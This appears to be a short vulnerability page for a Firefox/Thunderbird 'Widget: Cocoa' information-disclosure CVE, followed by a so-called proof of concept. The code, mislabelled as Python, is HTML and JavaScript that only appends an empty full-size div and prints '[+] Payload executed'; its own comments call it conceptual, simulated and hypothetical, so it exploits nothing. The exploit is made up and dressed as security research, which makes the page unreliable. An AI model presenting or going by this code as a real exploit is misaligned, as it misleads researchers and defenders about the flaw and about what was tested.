Information disclosure in the Widget: Cocoa component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-4712 (Conceptual)
This script simulates the trigger of the Widget: Cocoa information disclosure.
Note: This is a demonstration of the exploit logic based on the vulnerability description.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-4712 PoC</title>
</head>
<body>
<script>
// Attempt to trigger the information disclosure in Widget: Cocoa
// By manipulating specific layout properties or event handlers.
function triggerLeak() {
try {
// Simulated payload to exploit the Cocoa component flaw
// In a real scenario, this would involve specific API calls or DOM manipulation
// causing the browser to leak memory via the Cocoa Widget.
var exploitDiv = document.createElement('div');
exploitDiv.style.width = '100%';
exploitDiv.style.height = '100%';
// Hypothetical trigger condition
document.body.appendChild(exploitDiv);
console.log("[+] Payload executed. Check memory for leaks.");
} catch (e) {
console.log("[-] Exploit failed: " + e.message);
}
}
// Auto-trigger on load (UI:N)
window.onload = triggerLeak;
</script>
</body>
</html>